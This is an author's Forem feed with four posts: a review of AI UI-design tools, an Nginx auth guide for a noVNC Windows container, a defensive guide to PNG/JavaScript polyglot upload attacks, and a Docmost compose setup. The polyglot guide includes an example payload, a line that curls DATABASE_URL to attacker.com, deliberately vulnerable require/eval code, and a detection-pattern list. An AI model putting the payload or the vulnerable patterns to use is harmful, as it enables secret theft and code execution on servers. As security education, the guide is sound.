Forem: Keat Porhong

AI agentic tools that could boost the UX/UI conceptual for development

Keat Porhong — Thu, 12 Mar 2026 03:31:11 +0000

Designing a user experience from scratch is no longer just about "pushing pixels." With agentic AI, the focus has shifted toward intent-based design, where your role is to guide a digital assistant to build the scaffolding for you.

Here is a detailed breakdown of the four leading tools to help you choose the right one for your development workflow.

1. Banani AI: The High-Fidelity "Taste" Engine

Banani AI is built for those who want prototypes that look like they were made by a senior designer. It specializes in "vibe-driven" design where aesthetic quality is the priority.

Benefit: Generates clean, modern interfaces that don't feel like "generic AI." It is particularly strong for high-fidelity dashboards and SaaS landing pages.
The Workflow:
Describe: Input a prompt like "A neomorphic habit tracker with data visualization cards."
Iterate: Use the AI chat to refine specific parts (e.g., "Make the primary buttons more rounded and add a dark mode toggle").
Handoff: Copy the design directly into Figma as editable layers with Auto Layout intact.
Pros: * Direct "copy-paste" integration with Figma.
Includes a "Model Picker" allowing you to choose between top engines like Gemini 3 Pro.
Excellent theme management and branding controls.
Cons: Not ideal for extremely complex, data-heavy enterprise logic that requires strict custom components.
Usage Limitations: The Free Tier provides ~20 generations per month. Pro ($20/mo) offers unlimited generations and HTML/CSS code export.

2. AI Designer: The Aesthetic Innovator

AI Designer (aidesigner.ai) is known for its "Website Cloner" and its ability to create unique, non-repetitive layouts that stand out from the typical "SaaS-block" look.

Benefit: Perfect for rapid visual exploration and breaking "blank page syndrome" with highly creative layouts.
The Workflow:
Select: Choose a project type (Mobile vs. Web).
Prompt: Enter your core idea. You can also attach a "Classic Link" to clone the structure of an existing site.
Refine: Use the ASCII generator or built-in style templates to pivot the look instantly.
Pros: * Unique visual outputs that avoid the "AI look."
One-shot generation for entire multi-page flows.
Built-in website cloning features for competitor research.
Cons: Manual editing tools are less robust than specialized design platforms like Figma or Uizard.
Usage Limitations: Most high-fidelity features and website cloning tools are reserved for Premium subscribers.

3. UXMagic: The Architect’s Copilot

UXMagic (formerly UX Pilot) focuses on the "UX" part of the equation—structure, sitemaps, and wireframes—before jumping into high-fidelity visuals.

Benefit: It understands the "bones" of a website. It’s the best tool for planning the user journey before worrying about the colors.
The Workflow:
Strategy: Generate a sitemap based on your product requirements.
Sketching: Use the "Sketch to UI" or "Image to UI" feature to turn a whiteboard drawing into a wireframe.
High-Fi: Transform that wireframe into a high-fidelity design within the same platform.
Pros: * Image-to-UI: You can upload a screenshot of an app you like and have it converted into editable elements.
Support for production-ready React and HTML/CSS code.
Cons: The learning curve is slightly higher because it covers more of the professional design lifecycle.
Usage Limitations: Free Tier gives 100 one-time credits. Premium ($18/mo) grants 480 monthly credits and React code exports.

4. Uizard: The "Sketch-to-Product" OG

Uizard is the most comprehensive platform for teams that need to go from a brainstorm on a napkin to a clickable prototype without any design training.

Benefit: Its "Autodesigner 2.0" uses a conversational interface (like ChatGPT) to build entire app flows.
The Workflow:
Ingest: Use the Wireframe Scanner to take a photo of a hand-drawn sketch.
Design: Ask the AI to "apply a modern fintech theme" to the scanned sketch.
Analyze: Use the Focus Predictor (Heatmaps) to see where users will look first.
Pros: * AI Heatmaps for data-driven design decisions.
Real-time "Multiplayer" collaboration (similar to Google Docs).
Extensive template library for web, mobile, and tablet.
Cons: Does not export to Figma; you are locked into the Uizard ecosystem for editing.
Usage Limitations: The Free Plan is limited to 2 projects and 3 AI generations/month. Pro ($12/mo) unlocks 500 generations and developer handoff.

5. Google Stitch (stitch.withgoogle.com)

The Gemini-Powered Prototyper
Introduced as an evolution of Galileo AI (which Google acquired), Stitch is deeply integrated with the Gemini ecosystem. It’s designed to be a unified space where a prompt or a sketch becomes a functional, exportable interface in minutes.

Benefit: Offers a seamless transition from a rough idea to actual Tailwind CSS/HTML code or fully editable Figma layers. It is uniquely capable of switching between high-speed "Standard" drafts and high-detail "Experimental" outputs.
The Workflow:
Select Mode: Choose Standard (powered by Gemini Flash for speed) or Experimental (Gemini Pro for image-based inputs).
Multimodal Input: Type a prompt (e.g., "A minimalist e-commerce store for indoor plants with a soft green palette") OR upload a photo of a whiteboard wireframe.
Refine & Branch: Use the "Iterative Exploration" feature to select a screen and ask for changes like "Add a reviews section below the product image." You can generate multiple variations to compare side-by-side.
Export: Use the "Paste to Figma" button to move the Auto Layout frames into your design file, or copy the production-ready code.
Pros:
Figma Integration: Unlike some tools that give you flat images, Stitch provides nested layers and design tokens.
Image-to-UI: One of the most robust engines for interpreting hand-drawn sketches.
Branching: Allows you to experiment with different design "paths" without losing your previous version.
Cons:
Generic Outputs: Without highly detailed prompts, it can lean toward safe, standard layouts.
Experimental Mode Limits: Image-based generation is currently slower and doesn't always support the one-click Figma export yet.
Usage Limitations: It currently operates on a monthly credit system (e.g., ~350 screens in Standard mode and ~50 in Experimental mode). It is currently free via Google Labs but subject to these caps.

Final Recommendation

For the ultimate agentic workflow, I suggest "Stitching" them together:

Ideate with Google Stitch or Uizard to turn your whiteboard sketches into digital wireframes.
Refine the aesthetic "vibe" and UI components using Banani AI or AI Designer.
Ship the final concept into UXMagic or Figma to polish the UX logic and hand off the code to your developers.

By utilizing these tools, you aren't just designing—you're orchestrating. This agentic approach saves hours of manual labor and lets you focus on the creative strategy that truly matters.

How to Password-Protect dockurr/windows noVNC (Port 8006) Using Nginx Reverse Proxy

Keat Porhong — Wed, 04 Feb 2026 02:50:03 +0000

Running Windows inside Docker using dockurr/windows is incredibly convenient, especially with its built-in noVNC web interface on port 8006.

However…
🚨 By default, that web interface has no authentication.

Anyone who reaches http://your-server:8006 can see your Windows desktop.

In this article, I’ll show you how to:

✅ Hide port 8006 from the internet
✅ Add a password prompt in front of noVNC
✅ Use Nginx as a reverse proxy
✅ Keep everything simple and Docker-based

🧱 Architecture

Browser
   |
   v
Nginx (port 8080, password protected)
   |
   v
dockurr/windows (noVNC on 8006, localhost/internal only)

✅ Prerequisites

Docker & Docker Compose installed
Linux host (Ubuntu/Debian/VPS)
Basic terminal knowledge

📝 Final docker-compose.yml

services:
  windows:
    image: dockurr/windows
    container_name: windows
    environment:
      VERSION: "10l"
      DISK_SIZE: "32G"
      RAM_SIZE: "4G"
      CPU_CORES: "2"
      USERNAME: "test"
      PASSWORD: "123123"
    devices:
      - /dev/kvm
      - /dev/net/tun
    cap_add:
      - NET_ADMIN
    ports:
      - "127.0.0.1:8006:8006"   # noVNC only on localhost
      - 3389:3389/tcp
      - 3389:3389/udp
    volumes:
      - ./storage:/storage
      - ./shared:/shared
    restart: always
    stop_grace_period: 2m
    networks:
      - win_net

  novnc_proxy:
    image: nginx:alpine
    container_name: novnc_proxy
    depends_on:
      - windows
    ports:
      - "8080:80"              # public protected port
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
      - ./htpasswd:/etc/nginx/.htpasswd:ro
    restart: always
    networks:
      - win_net

networks:
  win_net:
    driver: bridge

🔒 Nginx Configuration (nginx.conf)

Create file: nginx.conf

server {
  listen 80;

  auth_basic "Protected noVNC";
  auth_basic_user_file /etc/nginx/.htpasswd;

  location / {
    proxy_pass http://windows:8006;

    # WebSocket support for noVNC
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;

    proxy_read_timeout 86400;
    proxy_send_timeout 86400;
    proxy_buffering off;
  }
}

🔑 Create Username & Password

Generate htpasswd file:

docker run --rm httpd:2.4-alpine \
  htpasswd -nb admin STRONG_PASSWORD > htpasswd

Replace:

admin            -> your username
STRONG_PASSWORD -> your password

▶ Start Everything

docker compose up -d

🧪 Test

From another machine:

http://SERVER_IP:8006   ❌ should NOT open
http://SERVER_IP:8080   ✅ shows login prompt

After login → Windows desktop appears.

🔐 Extra Security Tips

Use a long, strong password
If you don’t need public RDP:

- "127.0.0.1:3389:3389/tcp"
- "127.0.0.1:3389:3389/udp"

Consider VPN (Tailscale/WireGuard) for even stronger protection
Add HTTPS later with Nginx + Let’s Encrypt

🎯 Result

You now have:

✅ Hidden noVNC
✅ Password-protected access
✅ No changes inside Windows
✅ Fully containerized solution

If this helped you, feel free to like or comment.
Happy self-hosting! 🚀

Image Upload Attack: Security Analysis & Prevention Guide

Keat Porhong — Wed, 17 Dec 2025 07:05:28 +0000

Executive Summary

Polyglot image upload attacks exploit applications that process uploaded files without proper validation. A polyglot file is a file that is valid in multiple formats simultaneously - in this case, a file that is both a valid PNG image and executable JavaScript code. When applications process these files without proper security measures, the embedded code can execute, leading to remote code execution (RCE) vulnerabilities.

Severity: Critical (CVSS 9.8 - Critical)

Impact: Remote Code Execution, Server Compromise, Data Breach

Understanding Polyglot Files
How the Attack Works
Attack Vector Analysis
Real-World Vulnerable Patterns
Why This Attack is Dangerous
Prevention Strategies
Detection and Monitoring
Incident Response

Understanding Polyglot Files

What is a Polyglot File?

A polyglot file is a file that is valid in multiple file formats simultaneously. In this attack scenario, we're dealing with a PNG/JavaScript polyglot - a file that:

Is a valid PNG image - Can be opened in image viewers, passes image validation, displays correctly
Contains executable JavaScript code - Has JavaScript code embedded after the PNG data that can execute in Node.js environments

Structure of a PNG/JavaScript Polyglot

[PNG Header: \x89PNG\r\n\x1a\n]
[PNG Chunks: IHDR, IDAT, IEND]
[IEND Chunk Marker]
[4-byte CRC]
[JavaScript Code Starts Here]

Key Points:

PNG parsers stop reading at the IEND chunk (end of image marker)
Any data after IEND is ignored by image processors
Node.js require() or vm.runInThisContext() will attempt to parse the entire file
JavaScript code after IEND executes when the file is processed as code

Example Polyglot Structure

// Valid PNG image data (binary)
PNG_HEADER +
  IHDR +
  IDAT +
  IEND +
  CRC(
    // JavaScript code (text) - ignored by PNG parsers
    // PNG/Node.js Polyglot
    function () {
      const fs = require("fs");
      const outputFile = path.join(
        process.cwd(),
        "We_are_hacked_your_site.txt"
      );
      fs.writeFileSync(outputFile, "We are hacked your site", "utf8");
    }
  )();
module.exports = {};

How the Attack Works

Attack Flow

1. Attacker creates polyglot PNG/JS file
   ↓
2. Attacker uploads file as "image.png" to target application
   ↓
3. Application validates file:
   - Checks file signature (✓ Valid PNG)
   - Checks MIME type (✓ image/png)
   - File passes validation
   ↓
4. Application processes image:
   - Converts to WebP using Sharp
   - Saves original file to uploads/originals/image_TIMESTAMP.png
   ↓
5. Background file processor/watcher detects new file
   ↓
6. File processor attempts to execute file:
   - Tries require(filePath)
   - Or tries vm.runInThisContext(fileContent)
   - Or tries eval(fileContent)
   ↓
7. JavaScript code after IEND chunk executes
   ↓
8. Malicious code runs with server privileges
   - Creates files
   - Executes commands
   - Accesses file system
   - Potentially gains RCE

Why It Works

File Validation Bypass: The file is a valid PNG, so it passes image validation
Extension Preservation: Many apps preserve original filenames/extensions
File Processing: Background processes may execute files without content validation
Node.js Behavior: Node.js can require() files with any extension using full paths
No Content Validation: Apps don't check for embedded code in image files

Attack Vector Analysis

Vulnerable Application Patterns

1. Image Upload with Original File Saving

Vulnerable Code Pattern:

// Saves original file with preserved extension
const savedPath = path.join(uploadsDir, `${filename}_${timestamp}${ext}`);
fs.writeFileSync(savedPath, imageBuffer);

Why It's Vulnerable:

Preserves original filename and extension
If file is later processed, it maintains its identity
No content validation before saving

2. Background File Watchers

Vulnerable Code Pattern:

// File watcher that processes new uploads
fs.watch(uploadsDir, (eventType, filename) => {
  if (eventType === "rename") {
    const filePath = path.join(uploadsDir, filename);
    require(filePath); // ⚠️ VULNERABLE
  }
});

Why It's Vulnerable:

Automatically processes new files
Tries to execute files without validation
No content checking before execution

3. Plugin/Module Loading Systems

Vulnerable Code Pattern:

// Plugin loader that requires files
const plugins = fs.readdirSync(pluginsDir);
for (const plugin of plugins) {
  require(path.join(pluginsDir, plugin)); // ⚠️ VULNERABLE
}

Why It's Vulnerable:

Loads files as modules without validation
Assumes files are safe JavaScript
No content verification

4. Dynamic Code Execution

Vulnerable Code Pattern:

// Asset processor that evaluates files
const fileContent = fs.readFileSync(filePath, "utf-8");
vm.runInThisContext(fileContent); // ⚠️ VULNERABLE

Why It's Vulnerable:

Executes file content as code
No validation of file contents
Assumes files are safe to execute

Real-World Vulnerable Patterns

Common Scenarios Where This Attack Works

Content Management Systems (CMS)

Upload images for content
Background processors scan uploads directory
Plugin systems load files dynamically

E-commerce Platforms

Product image uploads
Image optimization services
File watchers for processing

Social Media Platforms

Profile picture uploads
Media processing pipelines
Asset management systems

Blog/Website Builders

Image uploads for posts
Theme/plugin systems
File processing workers

API Services
- Image upload endpoints
- File processing microservices
- Background job processors

Real-World Attack Example

// Attacker creates polyglot
const polyglot = createPNGWithJS(`
    const { exec } = require('child_process');
    exec('curl http://attacker.com/steal?data=' + 
         encodeURIComponent(process.env.DATABASE_URL));
`);

// Uploads as "profile_picture.png"
// Application saves to: uploads/originals/profile_picture_1234567890.png

// Background processor executes:
require("uploads/originals/profile_picture_1234567890.png");

// Malicious code executes, exfiltrates data

Why This Attack is Dangerous

1. Stealth

Looks like a normal image: Passes all image validation
No suspicious extensions: Uses .png extension
No obvious indicators: Appears legitimate to security scanners
Hard to detect: Embedded code is invisible to image viewers

2. High Success Rate

Common vulnerable patterns: Many apps use file watchers/processors
No content validation: Most apps don't check for embedded code
Automatic execution: Background processes execute without user interaction
Multiple attack vectors: Works with various execution methods

3. Severe Impact

Remote Code Execution: Full server compromise possible
Data Exfiltration: Access to databases, files, secrets
Lateral Movement: Can pivot to other systems
Persistence: Can install backdoors, maintain access

4. Difficult to Detect

No explicit extraction code: Attack doesn't require suspicious code
Normal file operations: Uses standard Node.js APIs
Blends with legitimate traffic: Looks like normal image uploads
No obvious errors: Fails silently if execution doesn't work

Prevention Strategies

1. Content Validation

Validate File Contents, Not Just Extensions

import { fileTypeFromBuffer } from "file-type";

async function validateImageFile(buffer: Buffer): Promise<boolean> {
  // Check actual file type from content
  const fileType = await fileTypeFromBuffer(buffer);

  if (!fileType || fileType.mime !== "image/png") {
    return false;
  }

  // Verify PNG structure
  if (
    !buffer
      .slice(0, 8)
      .equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))
  ) {
    return false;
  }

  // Check for data after IEND chunk
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    const iendEnd = iendPos + 8; // IEND (4) + CRC (4)
    const dataAfterIEND = buffer.slice(iendEnd);

    // Reject if there's significant data after IEND
    if (dataAfterIEND.length > 10) {
      return false; // Suspicious - PNG should end at IEND
    }
  }

  return true;
}

Strip Trailing Data

function sanitizePNG(buffer: Buffer): Buffer {
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    // Return only up to IEND + CRC (8 bytes after IEND marker)
    return buffer.slice(0, iendPos + 8);
  }
  return buffer;
}

// Use sanitized buffer
const sanitized = sanitizePNG(imageBuffer);
await saveOriginalFile(sanitized, filename, serverRoot);

2. File Extension Sanitization

Never Trust User-Provided Extensions

import path from "path";
import { fileTypeFromBuffer } from "file-type";

async function getSafeFilename(
  originalFilename: string,
  buffer: Buffer
): Promise<string> {
  // Determine actual file type from content
  const fileType = await fileTypeFromBuffer(buffer);

  if (!fileType) {
    throw new Error("Unable to determine file type");
  }

  // Map MIME type to safe extension
  const extensionMap: Record<string, string> = {
    "image/png": ".png",
    "image/jpeg": ".jpg",
    "image/webp": ".webp",
    "image/gif": ".gif",
  };

  const safeExt = extensionMap[fileType.mime] || ".bin";
  const baseName = path.basename(
    originalFilename,
    path.extname(originalFilename)
  );
  const timestamp = Date.now();

  // Always use safe extension, ignore user-provided extension
  return `${baseName}_${timestamp}${safeExt}`;
}

3. Secure File Processing

Never Execute Uploaded Files

// ❌ VULNERABLE - Never do this
require(uploadedFilePath);
vm.runInThisContext(fileContent);
eval(fileContent);

// ✅ SECURE - Use whitelist approach
const ALLOWED_PLUGINS = ["plugin1.js", "plugin2.js"];
if (ALLOWED_PLUGINS.includes(filename)) {
  require(pluginPath);
} else {
  throw new Error("Plugin not in whitelist");
}

Use Sandboxed Execution (If Necessary)

import vm from "vm";

// If you MUST execute user code, use strict sandboxing
function executeInSandbox(code: string): any {
  const sandbox = {
    console: { log: () => {} }, // Limited console
    // No require, no fs, no process, no global
  };

  const context = vm.createContext(sandbox);
  return vm.runInContext(code, context, {
    timeout: 1000, // Timeout
    displayErrors: false,
  });
}

4. File Storage Security

Store Files Outside Web Root

// ❌ VULNERABLE
const uploadsDir = path.join(serverRoot, "public", "uploads");
// Files accessible via HTTP: /uploads/file.png

// ✅ SECURE
const uploadsDir = path.join(serverRoot, "storage", "uploads");
// Files NOT directly accessible via HTTP

Use Content-Addressed Storage

import crypto from "crypto";

function getContentHash(buffer: Buffer): string {
  return crypto.createHash("sha256").update(buffer).digest("hex");
}

// Store files by content hash, not original filename
const contentHash = getContentHash(imageBuffer);
const safePath = path.join(uploadsDir, `${contentHash}.png`);

5. Input Validation

Validate at Multiple Layers

// Layer 1: Request validation
function validateUploadRequest(file: File): void {
  if (!file) throw new Error("No file provided");
  if (file.size > 10 * 1024 * 1024) throw new Error("File too large");
  if (!file.type.startsWith("image/")) throw new Error("Not an image");
}

// Layer 2: Content validation
async function validateFileContent(buffer: Buffer): Promise<void> {
  const fileType = await fileTypeFromBuffer(buffer);
  if (!fileType || !fileType.mime.startsWith("image/")) {
    throw new Error("Invalid image file");
  }

  // Additional validation...
}

// Layer 3: Sanitization
function sanitizeFile(buffer: Buffer): Buffer {
  // Remove any trailing data, normalize format
  return sanitizePNG(buffer);
}

6. Least Privilege

Run File Processors with Limited Permissions

// Use separate process with limited permissions
import { spawn } from "child_process";

function processFileSecurely(filePath: string): void {
  // Run in isolated process with no network/filesystem access
  const child = spawn("node", ["--no-warnings", "processor.js", filePath], {
    stdio: "pipe",
    env: {}, // No environment variables
  });

  // Monitor and timeout
  const timeout = setTimeout(() => child.kill(), 5000);
  child.on("exit", () => clearTimeout(timeout));
}

Detection and Monitoring

1. File Content Monitoring

function detectSuspiciousContent(buffer: Buffer): boolean {
  const content = buffer.toString("utf-8", 0, Math.min(1000, buffer.length));

  const suspiciousPatterns = [
    /require\s*\(/,
    /eval\s*\(/,
    /Function\s*\(/,
    /child_process/,
    /fs\.writeFile/,
    /process\.exit/,
  ];

  return suspiciousPatterns.some((pattern) => pattern.test(content));
}

2. Execution Monitoring

// Monitor file execution attempts
function logFileExecution(filePath: string, success: boolean): void {
  const logEntry = {
    timestamp: new Date().toISOString(),
    filePath,
    success,
    suspicious: detectSuspiciousContent(fs.readFileSync(filePath)),
  };

  // Send to security monitoring system
  securityLogger.warn("File execution attempt", logEntry);
}

3. Anomaly Detection

Monitor for files with unusual sizes (too large for images)
Track files with data after IEND chunks
Alert on execution of files from uploads directory
Monitor for suspicious file operations after uploads

Incident Response

If Attack is Detected

Immediate Actions

Disable file upload functionality
Isolate affected server/container
Review recent uploads for polyglot files
Check for execution artifacts

Investigation

Review file watcher/processor logs
Check for suspicious file operations
Identify which files were executed
Determine scope of compromise

Containment

Remove malicious files
Revoke compromised credentials
Patch vulnerable code
Implement additional security measures

Recovery
- Restore from clean backups
- Rebuild affected systems
- Implement prevention measures
- Monitor for re-infection

Code Examples

Secure Image Upload Handler

import { fileTypeFromBuffer } from "file-type";
import sharp from "sharp";
import crypto from "crypto";
import path from "path";
import fs from "fs";

export async function secureImageUpload(
  fileBuffer: Buffer,
  originalFilename: string
): Promise<{ success: boolean; filePath?: string; error?: string }> {
  try {
    // 1. Validate file type from content
    const fileType = await fileTypeFromBuffer(fileBuffer);
    if (!fileType || !fileType.mime.startsWith("image/")) {
      return { success: false, error: "Invalid image file" };
    }

    // 2. Validate PNG structure
    if (fileType.mime === "image/png") {
      const pngHeader = Buffer.from([
        0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
      ]);
      if (!fileBuffer.slice(0, 8).equals(pngHeader)) {
        return { success: false, error: "Invalid PNG structure" };
      }

      // 3. Check for data after IEND
      const iendPos = fileBuffer.indexOf(Buffer.from("IEND"));
      if (iendPos !== -1) {
        const dataAfterIEND = fileBuffer.slice(iendPos + 8);
        if (dataAfterIEND.length > 10) {
          return { success: false, error: "Suspicious data after PNG end" };
        }
      }

      // 4. Sanitize - remove any trailing data
      const sanitized = sanitizePNG(fileBuffer);
      fileBuffer = sanitized;
    }

    // 5. Reprocess image to ensure it's clean
    const processed = await sharp(fileBuffer).png().toBuffer();

    // 6. Generate safe filename (content hash)
    const contentHash = crypto
      .createHash("sha256")
      .update(processed)
      .digest("hex")
      .substring(0, 16);

    const safeExt = fileType.ext || "png";
    const safeFilename = `${contentHash}.${safeExt}`;

    // 7. Store in secure location (outside web root)
    const storageDir = path.join(process.cwd(), "storage", "uploads");
    if (!fs.existsSync(storageDir)) {
      fs.mkdirSync(storageDir, { recursive: true });
    }

    const filePath = path.join(storageDir, safeFilename);
    fs.writeFileSync(filePath, processed);

    return { success: true, filePath };
  } catch (error) {
    return {
      success: false,
      error: error instanceof Error ? error.message : "Upload failed",
    };
  }
}

function sanitizePNG(buffer: Buffer): Buffer {
  const iendPos = buffer.indexOf(Buffer.from("IEND"));
  if (iendPos !== -1) {
    return buffer.slice(0, iendPos + 8);
  }
  return buffer;
}

Secure File Processor

// ✅ SECURE - Whitelist-based plugin loader
const ALLOWED_PLUGINS = new Set([
  "official-plugin-1.js",
  "official-plugin-2.js",
]);

export function loadPlugin(pluginName: string): void {
  if (!ALLOWED_PLUGINS.has(pluginName)) {
    throw new Error(`Plugin ${pluginName} not in whitelist`);
  }

  const pluginPath = path.join(PLUGINS_DIR, pluginName);

  // Verify file hasn't been modified (checksum)
  const expectedHash = PLUGIN_HASHES[pluginName];
  const actualHash = crypto
    .createHash("sha256")
    .update(fs.readFileSync(pluginPath))
    .digest("hex");

  if (actualHash !== expectedHash) {
    throw new Error(`Plugin ${pluginName} checksum mismatch`);
  }

  // Safe to require
  require(pluginPath);
}

Conclusion

Polyglot image upload attacks are a serious security threat that can lead to remote code execution. The attack works by exploiting applications that:

Save uploaded files with original extensions
Process files without content validation
Execute files from uploads directories

Key Takeaways:

Never trust file extensions - Always validate file content
Never execute uploaded files - Use whitelists for any code execution
Sanitize file contents - Strip trailing data, reprocess images
Monitor file operations - Log and alert on suspicious activity
Use defense in depth - Multiple layers of validation and security

By implementing the prevention strategies outlined in this document, you can significantly reduce the risk of polyglot file upload attacks and protect your applications from this critical vulnerability.

References

Document Version: 1.0

Last Updated: 2025-12-17

Author: Porhong

Classification: Internal Security Documentation

Docmost with docker compose

Keat Porhong — Tue, 11 Feb 2025 10:30:51 +0000

Compose config

version: "3"

services:
  docmost:
    image: docmost/docmost:latest
    container_name: docmost
    hostname: docmost
    user: root
    healthcheck:
      test: timeout 10s bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 90s
    depends_on:
      - docmost-db
      - docmost-redis
    environment:
      APP_URL: "${APP_URL}"
      APP_SECRET: "${APP_SECRET}"
      DATABASE_URL: "postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@docmost-db:5432/${POSTGRES_DB}?schema=public"
      REDIS_URL: "redis://docmost-redis:6379"
    ports:
      - "5031:3000"
    restart: unless-stopped
    volumes:
      - /disk-01/docker-data/docmost/docmost-storage:/app/data/storage

  docmost-db:
    image: postgres:16-alpine
    container_name: docmost-DB
    hostname: docmost-db
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}"]
      interval: 5s
      timeout: 5s
      retries: 5
    volumes:
      - /disk-01/docker-data/docmost/docmost-db:/var/lib/postgresql/data:rw
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    restart: on-failure:5

  docmost-redis:
    image: redis:7.2-alpine
    container_name: docmost-redis
    hostname: docmost-redis
    restart: unless-stopped
    healthcheck:
      test: ["CMD-SHELL", "redis-cli ping || exit 1"]
    volumes:
      - /disk-01/docker-data/docmost/redis_data:/data

Environment config

APP_URL= POSTGRES_DB= POSTGRES_USER= POSTGRES_PASSWORD= APP_SECRET='' MAIL_DRIVER=smtp SMTP_HOST= SMTP_PORT= SMTP_USERNAME= SMTP_PASSWORD= MAIL_FROM_ADDRESS= MAIL_FROM_NAME=

Forem: Keat Porhong

AI agentic tools that could boost the UX/UI conceptual for development

1. Banani AI: The High-Fidelity "Taste" Engine

2. AI Designer: The Aesthetic Innovator

3. UXMagic: The Architect’s Copilot

4. Uizard: The "Sketch-to-Product" OG

5. Google Stitch (stitch.withgoogle.com)

Final Recommendation

How to Password-Protect dockurr/windows noVNC (Port 8006) Using Nginx Reverse Proxy

🧱 Architecture

✅ Prerequisites

📝 Final docker-compose.yml

🔒 Nginx Configuration (nginx.conf)

🔑 Create Username & Password

▶ Start Everything

🧪 Test

🔐 Extra Security Tips

🎯 Result

Image Upload Attack: Security Analysis & Prevention Guide

Executive Summary

Table of Contents

Understanding Polyglot Files

What is a Polyglot File?

Structure of a PNG/JavaScript Polyglot

Example Polyglot Structure

How the Attack Works

Attack Flow

Why It Works

Attack Vector Analysis

Vulnerable Application Patterns

1. Image Upload with Original File Saving

2. Background File Watchers

3. Plugin/Module Loading Systems

4. Dynamic Code Execution

Real-World Vulnerable Patterns

Common Scenarios Where This Attack Works

Real-World Attack Example

Why This Attack is Dangerous

1. Stealth

2. High Success Rate

3. Severe Impact

4. Difficult to Detect

Prevention Strategies

1. Content Validation

Validate File Contents, Not Just Extensions

Strip Trailing Data

2. File Extension Sanitization

Never Trust User-Provided Extensions

3. Secure File Processing

Never Execute Uploaded Files

Use Sandboxed Execution (If Necessary)

4. File Storage Security

Store Files Outside Web Root

Use Content-Addressed Storage

5. Input Validation

Validate at Multiple Layers

6. Least Privilege

Run File Processors with Limited Permissions

Detection and Monitoring

1. File Content Monitoring

2. Execution Monitoring

3. Anomaly Detection

Incident Response

If Attack is Detected

Code Examples

Secure Image Upload Handler

Secure File Processor

Conclusion

References

Docmost with docker compose